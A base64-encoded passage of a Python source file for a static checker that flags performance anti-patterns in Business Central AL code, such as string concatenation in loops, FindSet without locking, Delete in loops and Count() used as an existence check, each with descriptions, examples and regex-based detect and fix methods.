9vcFN1bS5fUkUuc2VhcmNoKGxpbmUpIGFuZCBub3Qgc3RyaXBwZWQuc3RhcnRzd2l0aCgnLy8nKToKICAgICAgICAgICAgICAgIGZpbmRpbmdzLmFwcGVuZCh7CiAgICAgICAgICAgICAgICAgICAgImxpbmUiOiBpICsgMSwKICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IGxpbmUuc3RyaXAoKVs6MTIwXSwKICAgICAgICAgICAgICAgICAgICAibWVzc2FnZSI6ICJNYW51YWwgKz0gYWNjdW11bGF0aW9uIGluIGxvb3Ag4oCUIGNvbnNpZGVyIENhbGNTdW1zKCkgaWYgc3VtbWluZyBhIHNpbmdsZSBmaWVsZCIKICAgICAgICAgICAgICAgIH0pCiAgICAgICAgcmV0dXJuIGZpbmRpbmdzCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGZpeCh0ZXh0OiBzdHIpIC0+IHN0cjoKICAgICAgICByZXR1cm4gdGV4dAoKCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACiMgUEFUVEVSTiAwNiDigJQgU3RyaW5nIGNvbmNhdGVuYXRpb24gKz0gaW4gbG9vcCAodXNlIFRleHRCdWlsZGVyKQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IlNUUklOR19DT05DQVRfSU5fTE9PUCIsCiAgICBncm91cD0iTWVtb3J5IC8gQ29waWVzIiwKICAgIHNldmVyaXR5PSJISUdIIiwKICAgIHRpdGxlPSJUZXh0ICs9IHN0cmluZyBjb25jYXRlbmF0aW9uIGluIGxvb3AgKE8obsKyKSkg4oCUIHVzZSBUZXh0QnVpbGRlciIsCiAgICBkZXNjcmlwdGlvbj0oIkFMJ3MgVGV4dCB0eXBlIGlzIGEgdmFsdWUgdHlwZS4gRWFjaCArPSBjcmVhdGVzIGEgYnJhbmQtbmV3IHN0cmluZyBvYmplY3QgaW4gTlNUIG1lbW9yeSDigJQgb2xkIHN0cmluZ3MgYmVjb21lIEdDIGdhcmJhZ2UgaW1tZWRpYXRlbHkuIEZvciBOIGl0ZXJhdGlvbnM6IE8oTsKyKSBtZW1vcnkgYWxsb2NhdGlvbnMgYW5kIGNvcGllcy4gVGV4dEJ1aWxkZXIgd3JhcHMgLk5FVCBTdHJpbmdCdWlsZGVyOiBPKE4pIHRpbWUsIG5vIGludGVybWVkaWF0ZSBjb3BpZXMuXG5cblNRTCBJTVBBQ1Q6IE5vIFNRTCBpbXBhY3Qg4oCUIHB1cmUgTlNUIG1lbW9yeSBwcmVzc3VyZSAmIEdDIG92ZXJoZWFkLlxuXG5CQUQ6ICBDc3ZDb250ZW50ICs9IEJ1aWxkRGV0YWlsTGluZSguLi4pO1xuR09PRDogdmFyIEJ1aWxkZXI6IFRleHRCdWlsZGVyO1xuICAgICAgQnVpbGRlci5BcHBlbmQoQnVpbGREZXRhaWxMaW5lKC4uLikpO1xuICAgICAgUmVzdWx0IDo9IEJ1aWxkZXIuVG9UZXh0KCk7IC8vIFNpbmdsZSBhbGxvY2F0aW9uIGF0IGVuZFxuXG5ISU5UOiBUaGUgR0MgcHJlc3N1cmUgaXMgaW52aXNpYmxlIGluIFNRTCBQcm9maWxlciBidXQgc2hvd3MgdXAgaW4gTlNUIG1lbW9yeSBjb3VudGVycy4iKSwKICAgIGV4ZXJjaXNlcz1bNl0sCikKY2xhc3MgUGF0dGVyblN0cmluZ0NvbmNhdEluTG9vcDoKICAgIF9SRSA9IHJlLmNvbXBpbGUocicoXHcrKVxzKlwrPVxzKig/IVtcZC5dKScsIHJlLk1VTFRJTElORSkKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICBmaW5kaW5ncyA9IFtdCiAgICAgICAgbGluZXMgPSB0ZXh0LnNwbGl0bGluZXMoKQogICAgICAgIGluX2xvb3AgPSBGYWxzZQogICAgICAgIGZvciBpLCBsaW5lIGluIGVudW1lcmF0ZShsaW5lcyk6CiAgICAgICAgICAgIHN0cmlwcGVkID0gbGluZS5zdHJpcCgpCiAgICAgICAgICAgIGlmIHN0cmlwcGVkLmxvd2VyKCkgPT0gJ3JlcGVhdCcgb3IgcmUuc2VhcmNoKHInXGJmb3JlYWNoXGInLCBzdHJpcHBlZCwgcmUuSUdOT1JFQ0FTRSk6CiAgICAgICAgICAgICAgICBpbl9sb29wID0gVHJ1ZQogICAgICAgICAgICBpZiByZS5tYXRjaChyJ3VudGlsXHMrXHcrXC5OZXh0XChcKScsIHN0cmlwcGVkLCByZS5JR05PUkVDQVNFKSBvciBzdHJpcHBlZCA9PSAnZW5kOyc6CiAgICAgICAgICAgICAgICBpbl9sb29wID0gRmFsc2UKICAgICAgICAgICAgaWYgaW5fbG9vcDoKICAgICAgICAgICAgICAgIG0gPSBQYXR0ZXJuU3RyaW5nQ29uY2F0SW5Mb29wLl9SRS5zZWFyY2gobGluZSkKICAgICAgICAgICAgICAgIGlmIG0gYW5kIG5vdCBzdHJpcHBlZC5zdGFydHN3aXRoKCcvLycpOgogICAgICAgICAgICAgICAgICAgIHZhciA9IG0uZ3JvdXAoMSkKICAgICAgICAgICAgICAgICAgICAjIExvb2sgYmFjayB0byBzZWUgaWYgaXQncyBkZWNsYXJlZCBhcyBUZXh0CiAgICAgICAgICAgICAgICAgICAgY29udGV4dCA9ICdcbicuam9pbihsaW5lc1ttYXgoMCwgaS0zMCk6aV0pCiAgICAgICAgICAgICAgICAgICAgaWYgcmUuc2VhcmNoKHJmJ1xie3JlLmVzY2FwZSh2YXIpfVxzKjpccypUZXh0XGInLCBjb250ZXh0KToKICAgICAgICAgICAgICAgICAgICAgICAgZmluZGluZ3MuYXBwZW5kKHsKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJsaW5lIjogaSArIDEsCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IGxpbmUuc3RyaXAoKVs6MTIwXSwKICAgICAgICAgICAgICAgICAgICAgICAgICAgICJtZXNzYWdlIjogZiJUZXh0ICs9IGluIGxvb3AgY3JlYXRlcyBPKG7CsikgYWxsb2NhdGlvbnMg4oCUIHVzZSBUZXh0QnVpbGRlciIKICAgICAgICAgICAgICAgICAgICAgICAgfSkKICAgICAgICByZXR1cm4gZmluZGluZ3MKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiB0ZXh0CgoKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBQQVRURVJOIDA3IOKAlCBGaW5kU2V0IHdpdGhvdXQgKHRydWUpIHdoZW4gbW9kaWZ5aW5nIHZpYSBjdXJzb3IKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJGSU5EU0VUX01PRElGWV9OT19UUlVFIiwKICAgIGdyb3VwPSJMb2NraW5nIiwKICAgIHNldmVyaXR5PSJNRURJVU0iLAogICAgdGl0bGU9IkZpbmRTZXQoKSB3aXRob3V0ICh0cnVlKSB3aGVuIE1vZGlmeSBpcyBjYWxsZWQgb24gY3Vyc29yIHZhcmlhYmxlIiwKICAgIGRlc2NyaXB0aW9uPSgnRmluZFNldCB1c2VzIFJlYWRVbmNvbW1pdHRlZCBpc29sYXRpb24gYW5kIHByZS1mZXRjaGVzIHJvd3MgaW4gYmF0Y2hlcy4gQ2FsbGluZyBNb2RpZnkgaW5zaWRlIHRoZSBsb29wIGJvZHkgY2FuIGludmFsaWRhdGUgdGhlIGN1cnNvciBwb3NpdGlvbi4gUmVjb3JkcyBtYXkgYmUgdmlzaXRlZCB0d2ljZSwgc2tpcHBlZCBlbnRpcmVseSwgb3IgY2F1c2UgZGVhZGxvY2tzLiBUaGUgY3Vyc29yIGlzIG5vdCBkZXNpZ25lZCB0byBzdXJ2aXZlIGNvbmN1cnJlbnQgRE1MIG9uIHRoZSBzYW1lIHJvd3MuXG5cblNRTCBJTVBBQ1Q6IFNFTEVDVCBUT1AgNTAgLi4uIChSZWFkVW5jb21taXR0ZWQpIHRoZW4gVVBEQVRFIGluc2lkZSDigJQgY3Vyc29yIGluc3RhYmlsaXR5LlxuXG5CQUQ6ICBpZiBSZWNvcmQuRmluZFNldCgpIHRoZW4gcmVwZWF0IFJlY29yZC5GaWVsZCA6PSAuLi47IFJlY29yZC5Nb2RpZnkoKTsgLi4uXG5HT09EOiBpZiBSZWNvcmQuRmluZFNldCh0cnVlKSB0aGVuIHJlcGVhdCBSZWNvcmQuRmllbGQgOj0gLi4uOyBSZWNvcmQuTW9kaWZ5KCk7IC4uLlxuXG5ISU5UOiBVc2UgU1FMIFByb2ZpbGVyIHRvIHdhdGNoIHdoaWNoIHJlY29yZHMgZ2V0IHVwZGF0ZWQuIFJ1biB0aGUgYW50aS1wYXR0ZXJuIHR3aWNlIOKAlCBzb21lIHJlY29yZHMgbWF5IGJlIHVwZGF0ZWQgdHdpY2Ugb3Igc2tpcHBlZC4nKSwKICAgIGV4ZXJjaXNlcz1bN10sCikKY2xhc3MgUGF0dGVybkZpbmRTZXROb0ZvclVwZGF0ZToKICAgIF9SRSA9IHJlLmNvbXBpbGUocicoXHcrKVwuRmluZFNldFwoXCknLCByZS5NVUxUSUxJTkUpCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgZmluZGluZ3MgPSBbXQogICAgICAgIGxpbmVzID0gdGV4dC5zcGxpdGxpbmVzKCkKICAgICAgICBmb3IgaSwgbGluZSBpbiBlbnVtZXJhdGUobGluZXMpOgogICAgICAgICAgICBtID0gUGF0dGVybkZpbmRTZXROb0ZvclVwZGF0ZS5fUkUuc2VhcmNoKGxpbmUpCiAgICAgICAgICAgIGlmIG5vdCBtIG9yIGxpbmUuc3RyaXAoKS5zdGFydHN3aXRoKCcvLycpOgogICAgICAgICAgICAgICAgY29udGludWUKICAgICAgICAgICAgdmFyID0gbS5ncm91cCgxKQogICAgICAgICAgICAjIExvb2sgYWhlYWQgZm9yIE1vZGlmeSBvbiB0aGUgc2FtZSB2YXIKICAgICAgICAgICAgYWhlYWQgPSAnXG4nLmpvaW4obGluZXNbaTptaW4obGVuKGxpbmVzKSwgaSsxNSldKQogICAgICAgICAgICBpZiByZS5zZWFyY2gocmYnXGJ7cmUuZXNjYXBlKHZhcil9XC5Nb2RpZnlcKCcsIGFoZWFkKToKICAgICAgICAgICAgICAgIGZpbmRpbmdzLmFwcGVuZCh7CiAgICAgICAgICAgICAgICAgICAgImxpbmUiOiBpICsgMSwKICAgICAgICAgICAgICAgICAgICAic25pcHBldCI6IGxpbmUuc3RyaXAoKVs6MTIwXSwKICAgICAgICAgICAgICAgICAgICAibWVzc2FnZSI6IGYiJ3t2YXJ9LkZpbmRTZXQoKScgYnV0ICd7dmFyfS5Nb2RpZnkoKScgZm91bmQgaW4gbG9vcCDigJQgdXNlIEZpbmRTZXQodHJ1ZSkiCiAgICAgICAgICAgICAgICB9KQogICAgICAgIHJldHVybiBmaW5kaW5ncwoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgIyBPbmx5IGZpeCB3aGVuIE1vZGlmeSBmb2xsb3dzIGluIHNhbWUgbG9vcCDigJQgY29uc2VydmF0aXZlIGFwcHJvYWNoCiAgICAgICAgZGVmIHJlcGxhY2VfaWZfbW9kaWZ5X2ZvbGxvd3MobSk6CiAgICAgICAgICAgIHBvcyA9IG0uZW5kKCkKICAgICAgICAgICAgYWhlYWQgPSB0ZXh0W3Bvczpwb3MrNTAwXQogICAgICAgICAgICB2YXIgPSBtLmdyb3VwKDEpCiAgICAgICAgICAgIGlmIHJlLnNlYXJjaChyZidcYntyZS5lc2NhcGUodmFyKX1cLk1vZGlmeVwoJywgYWhlYWQpOgogICAgICAgICAgICAgICAgcmV0dXJuIGYie3Zhcn0uRmluZFNldCh0cnVlKSIKICAgICAgICAgICAgcmV0dXJuIG0uZ3JvdXAoMCkKICAgICAgICByZXR1cm4gcmUuc3ViKHInKFx3KylcLkZpbmRTZXRcKFwpJywgcmVwbGFjZV9pZl9tb2RpZnlfZm9sbG93cywgdGV4dCkKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMDgg4oCUIERlbGV0ZSBpbnNpZGUgYSBsb29wICh1c2UgRGVsZXRlQWxsKQojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgApAX3JlZ2lzdGVyKAogICAgaWQ9IkRFTEVURV9JTl9MT09QIiwKICAgIGdyb3VwPSJCdWxrIE9wZXJhdGlvbnMiLAogICAgc2V2ZXJpdHk9IkhJR0giLAogICAgdGl0bGU9IlJlY29yZC5EZWxldGUoKSBpbnNpZGUgYSBsb29wIOKAlCB1c2UgRGVsZXRlQWxsKCkiLAogICAgZGVzY3JpcHRpb249KCdTYW1lIGN1cnNvciBpbnN0YWJpbGl0eSBhcyBNb2RpZnkg4oCUIERlbGV0ZSBkdXJpbmcgRmluZFNldCBjYW4gY2F1c2UgdGhlIHJlYWQgY3Vyc29yIHRvIHNraXAgb3IgcmV2aXNpdCByZWNvcmRzLiBEZWxldGVBbGwgaXMgYXRvbWljIGFuZCB1c2VzIGEgc2luZ2xlIERFTEVURSBGUk9NIHN0YXRlbWVudC4gSWYgc2VsZWN0aXZlIGRlbGV0aW9uIGlzIG5lZWRlZCwgY29sbGVjdCBrZXlzIGZpcnN0LCBkZWxldGUgYWZ0ZXIgbG9vcC5cblxuU1FMIElNUEFDVDogU0VMRUNUIFRPUCA1MCAoY3Vyc29yKSArIERFTEVURSBwZXIgcm93IOKAlCBjdXJzb3IgY29ycnVwdGlvbiByaXNrLlxuRGVsZXRlQWxsOiAxIERFTEVURSBGUk9NIHN0YXRlbWVudCB2cyBOIGluZGl2aWR1YWwgREVMRVRFcy5cblxuQkFEOiAgaWYgUmVjb3JkLkZpbmRTZXQoKSB0aGVuIHJlcGVhdCBSZWNvcmQuRGVsZXRlKCk7IHVudGlsIFJlY29yZC5OZXh0KCkgPSAwO1xuR09PRDogUmVjb3JkLlNldFJhbmdlKEFjdGl2ZSwgZmFsc2UpOyBSZWNvcmQuRGVsZXRlQWxsKGZhbHNlKTtcblxuSElOVDogQ29tcGFyZSB0aGUgbnVtYmVyIG9mIERFTEVURSBzdGF0ZW1lbnRzIGluIFByb2ZpbGVyOiBEZWxldGVBbGwgPSAxIFNRTCBERUxFVEU7IGxvb3AgPSBOIERFTEVURXMuJyksCiAgICBleGVyY2lzZXM9WzhdLAopCmNsYXNzIFBhdHRlcm5EZWxldGVJbkxvb3A6CiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZGV0ZWN0KHRleHQ6IHN0cikgLT4gbGlzdFtkaWN0XToKICAgICAgICBmaW5kaW5ncyA9IFtdCiAgICAgICAgbGluZXMgPSB0ZXh0LnNwbGl0bGluZXMoKQogICAgICAgIGluX2xvb3AgPSBGYWxzZQogICAgICAgIGxvb3BfdmFyID0gTm9uZQogICAgICAgIGZvciBpLCBsaW5lIGluIGVudW1lcmF0ZShsaW5lcyk6CiAgICAgICAgICAgIHN0cmlwcGVkID0gbGluZS5zdHJpcCgpCiAgICAgICAgICAgIG0gPSByZS5zZWFyY2gocicoXHcrKVwuRmluZFNldCcsIGxpbmUpCiAgICAgICAgICAgIGlmIG0gYW5kIG5vdCBzdHJpcHBlZC5zdGFydHN3aXRoKCcvLycpOgogICAgICAgICAgICAgICAgaW5fbG9vcCA9IFRydWUKICAgICAgICAgICAgICAgIGxvb3BfdmFyID0gbS5ncm91cCgxKQogICAgICAgICAgICBpZiBpbl9sb29wIGFuZCBsb29wX3ZhciBhbmQgcmUuc2VhcmNoKHJmJ1xie3JlLmVzY2FwZShsb29wX3Zhcil9XC5EZWxldGVcKCcsIGxpbmUpOgogICAgICAgICAgICAgICAgaWYgbm90IHN0cmlwcGVkLnN0YXJ0c3dpdGgoJy8vJyk6CiAgICAgICAgICAgICAgICAgICAgZmluZGluZ3MuYXBwZW5kKHsKICAgICAgICAgICAgICAgICAgICAgICAgImxpbmUiOiBpICsgMSwKICAgICAgICAgICAgICAgICAgICAgICAgInNuaXBwZXQiOiBsaW5lLnN0cmlwKClbOjEyMF0sCiAgICAgICAgICAgICAgICAgICAgICAgICJtZXNzYWdlIjogZiIne2xvb3BfdmFyfS5EZWxldGUoKScgaW5zaWRlIEZpbmRTZXQgbG9vcCDigJQgdXNlICd7bG9vcF92YXJ9LkRlbGV0ZUFsbChmYWxzZSknIgogICAgICAgICAgICAgICAgICAgIH0pCiAgICAgICAgICAgIGlmIHJlLm1hdGNoKHIndW50aWxccytcdytcLk5leHRcKFwpJywgc3RyaXBwZWQsIHJlLklHTk9SRUNBU0UpOgogICAgICAgICAgICAgICAgaW5fbG9vcCA9IEZhbHNlCiAgICAgICAgICAgICAgICBsb29wX3ZhciA9IE5vbmUKICAgICAgICByZXR1cm4gZmluZGluZ3MKCiAgICBAc3RhdGljbWV0aG9kCiAgICBkZWYgZml4KHRleHQ6IHN0cikgLT4gc3RyOgogICAgICAgIHJldHVybiB0ZXh0CgoKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKIyBQQVRURVJOIDA5IOKAlCBDb3VudCgpIDw+IDAgaW5zdGVhZCBvZiBub3QgSXNFbXB0eSgpCiMg4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSA4pSACkBfcmVnaXN0ZXIoCiAgICBpZD0iQ09VTlRfTk9UX1pFUk8iLAogICAgZ3JvdXA9IkV4aXN0ZW5jZSBDaGVja3MiLAogICAgc2V2ZXJpdHk9Ik1FRElVTSIsCiAgICB0aXRsZT0iQ291bnQoKSA8PiAwIC8gQ291bnQoKSA+IDAg4oCUIHVzZSBJc0VtcHR5KCkgaW5zdGVhZCIsCiAgICBkZXNjcmlwdGlvbj0oJ0NvdW50KCkgZ2VuZXJhdGVzIFNFTEVDVCBDT1VOVCgqKSDigJQgdGhlIGRhdGFiYXNlIG11c3QgY291bnQgQUxMIG1hdGNoaW5nIHJvd3MgYmVmb3JlIHJldHVybmluZy4gT24gbGFyZ2UgdGFibGVzIHRoaXMgaXMgZXhwZW5zaXZlLiBJc0VtcHR5KCkgZ2VuZXJhdGVzIElGIEVYSVNUUyAoU0VMRUNUIFRPUCAxIE5VTEwgLi4uKSDigJQgc3RvcHMgYXQgdGhlIGZpcnN0IG1hdGNoLiBPKDEpIHZzIE8oTikuXG5cblNRTCBJTVBBQ1Q6IENvdW50KCk6ICAgU0VMRUNUIENPVU5UKCopIEZST00gLi4uIOKGkiBzY2FucyBlbnRpcmUgdGFibGVcbklzRW1wdHkoKTogSUYgRVhJU1RTIChTRUxFQ1QgVE9QIDEgTlVMTCBGUk9NIC4uLikg4oaSIHN0b3BzIGltbWVkaWF0ZWx5LlxuXG5CQUQ6ICBleGl0KFJlY29yZC5Db3VudCgpIDw+IDApO1xuR09PRDogZXhpdChub3QgUmVjb3JkLklzRW1wdHkoKSk7XG5cbkhJTlQ6IENvbXBhcmUgU1FMIFByb2ZpbGVyIG91dHB1dCBmb3IgYm90aC4gQ291bnQoKSBhbHdheXMgcmVhZHMgYWxsIHJvd3MgZmlyc3QuIElzRW1wdHkgc3RvcHMgYXQgdGhlIHZlcnkgZmlyc3QgbWF0Y2guJyksCiAgICBleGVyY2lzZXM9WzksIDEwLCAxMV0sCikKY2xhc3MgUGF0dGVybkNvdW50Tm90WmVybzoKICAgIF9SRSA9IHJlLmNvbXBpbGUocicoXHcrKVwuQ291bnRcKFwpXHMqKD86PD58Pnw9KVxzKjAnLCByZS5NVUxUSUxJTkUpCgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgcmV0dXJuIF9maW5kaW5ncyh0ZXh0LCBQYXR0ZXJuQ291bnROb3RaZXJvLl9SRSwKICAgICAgICAgICAgICAgICAgICAgICAgIGxhbWJkYSBtOiBmIid7bS5ncm91cCgxKX0uQ291bnQoKSAhPSAwJyDigJQgdXNlIElzRW1wdHkoKSBmb3IgTygxKSBleGlzdGVuY2UgY2hlY2siKQoKICAgIEBzdGF0aWNtZXRob2QKICAgIGRlZiBmaXgodGV4dDogc3RyKSAtPiBzdHI6CiAgICAgICAgZGVmIHJlcGxhY2UobSk6CiAgICAgICAgICAgIHZhciA9IG0uZ3JvdXAoMSkKICAgICAgICAgICAgb3AgPSBtLmdyb3VwKDApLnNwbGl0KCdDb3VudCgpJylbMV0uc3RyaXAoKS5zcGxpdCgnICcpWzBdCiAgICAgICAgICAgIGlmIG9wIGluICgnPD4nLCAnPicpOgogICAgICAgICAgICAgICAgcmV0dXJuIGYnbm90IHt2YXJ9LklzRW1wdHkoKScKICAgICAgICAgICAgaWYgb3AgPT0gJz0nOgogICAgICAgICAgICAgICAgcmV0dXJuIGYne3Zhcn0uSXNFbXB0eSgpJwogICAgICAgICAgICByZXR1cm4gbS5ncm91cCgwKQogICAgICAgIHJldHVybiBQYXR0ZXJuQ291bnROb3RaZXJvLl9SRS5zdWIocmVwbGFjZSwgdGV4dCkKCgojIOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgOKUgAojIFBBVFRFUk4gMTAg4oCUIFJlZHVuZGFudCBJc0VtcHR5IGJlZm9yZSBGaW5kU2V0IChkb3VibGUgc2NhbikKIyDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIDilIAKQF9yZWdpc3RlcigKICAgIGlkPSJJU0VNUFRZX0JFRk9SRV9GSU5EU0VUIiwKICAgIGdyb3VwPSJFeGlzdGVuY2UgQ2hlY2tzIiwKICAgIHNldmVyaXR5PSJNRURJVU0iLAogICAgdGl0bGU9IlJlZHVuZGFudCBJc0VtcHR5KCkgYmVmb3JlIEZpbmRTZXQoKSAodHdvIFNRTCBzY2FucyBpbnN0ZWFkIG9mIG9uZSkiLAogICAgZGVzY3JpcHRpb249KCdDaGVja2luZyBJc0VtcHR5KCkgaW1tZWRpYXRlbHkgYmVmb3JlIEZpbmRTZXQgZmlyZXMgVFdPIFNRTCBxdWVyaWVzOiAxKSBJRiBFWElTVFMgKFNFTEVDVCBUT1AgMSBOVUxMIC4uLikg4oCUIHRoZSBJc0VtcHR5IGNoZWNrOyAyKSBTRUxFQ1QgVE9QIDUwIC4uLiDigJQgdGhlIEZpbmRTZXQuIEZpbmRTZXQgYWxyZWFkeSByZXR1cm5zIGZhbHNlIHdoZW4gbm8gcm93cyBtYXRjaCDigJQgdGhlIElzRW1wdHkgaXMgd2FzdGUuXG5cblNRTCBJTVBBQ1Q6IFF1ZXJ5IDE6IElGIEVYSVNUUyAoU0VMRUNUIFRPUCAxIE5VTEwgLi4uKS4gUXVlcnkgMjogU0VMRUNUIFRPUCA1MCAuLi4g4oaSIHJlZHVuZGFudC5cblxuQkFEOiAgaWYgbm90IFJlY29yZC5Jc0VtcHR5KCkgdGhlblxuICAgICAgICAgIGlmIFJlY29yZC5GaW5kU2V0KCkgdGhlbiAuLi5cbkdPT0Q6IGlmIFJlY29yZC5GaW5kU2V0KCkgdGhlbiAuLi5cblxuSElOVDogQ291bnQgdGhlIFNRTCBxdWVyaWVzIGluIFByb2ZpbGVyOiBJc0VtcHR5ICsgRmluZFNldCA9IDI7IGp1c3QgRmluZFNldCA9IDEuIFRoZSBJc0VtcHR5IHJlc3VsdCBpcyBpZ25vcmVkIGJ5IEZpbmRTZXQgYW55d2F5LicpLAogICAgZXhlcmNpc2VzPVsxMV0sCikKY2xhc3MgUGF0dGVybklzRW1wdHlCZWZvcmVGaW5kU2V0OgogICAgQHN0YXRpY21ldGhvZAogICAgZGVmIGRldGVjdCh0ZXh0OiBzdHIpIC0+IGxpc3RbZGljdF06CiAgICAgICAgZmluZGluZ3MgPSBbXQogICAgICAgIGxpbmVzID0gdGV4dC5zcGxpdGxpbmVzKCkKICAgICAgICBmb3IgaSwgbGluZSBpbiBlbnVtZXJhdGUobGluZXMpOgogICAgICAgICAgICBpZiByZS5zZWFyY2gocidub3RccytcdytcLklzRW1wdHlcKFwpJywgbGluZSkgYW5kIG5vdCBsaW5lLnN0cmlwKCkuc3RhcnRzd2l0aCgnLy8nKToKICAgICAgICAgICAgICAgICMgQ2hlY2sgbmV4dCAyIGxpbmVzIGZvciBGaW5kU2V0CiAgICAgICAgICAgICAgICBhaGVhZCA9ICdcbicuam9pbihsaW5lc1tpOm1pbihsZW4obGluZXMpLCBpKzMpXSkKICAgICAgICAgICAgICAgIGlmIHJlLnNlYXJjaChyJ1wuRmluZFNldFwoJywgYWhlYWQpOgogICAgICAgICAgICAgICAgICAgIGZpbmRpbmdzLmFwcGVuZCh7CiAgICAgICAgICAgICAgICAgICAgICAgICJsaW5lIjogaSArIDEsCiAgICAgICAgICAgICAgICAgICAgICAgICJzbmlwcGV0IjogbGluZS5zdHJpcCgpWzoxMjBdLAogICAgICAgICAgICAgICAgICAgICAgICAibWVzc2FnZSI6ICJSZWR1bmRhbnQgSXNFbXB0eSgpIGd1YXJkIGJlZm9yZSBGaW5kU2V0KCkg4o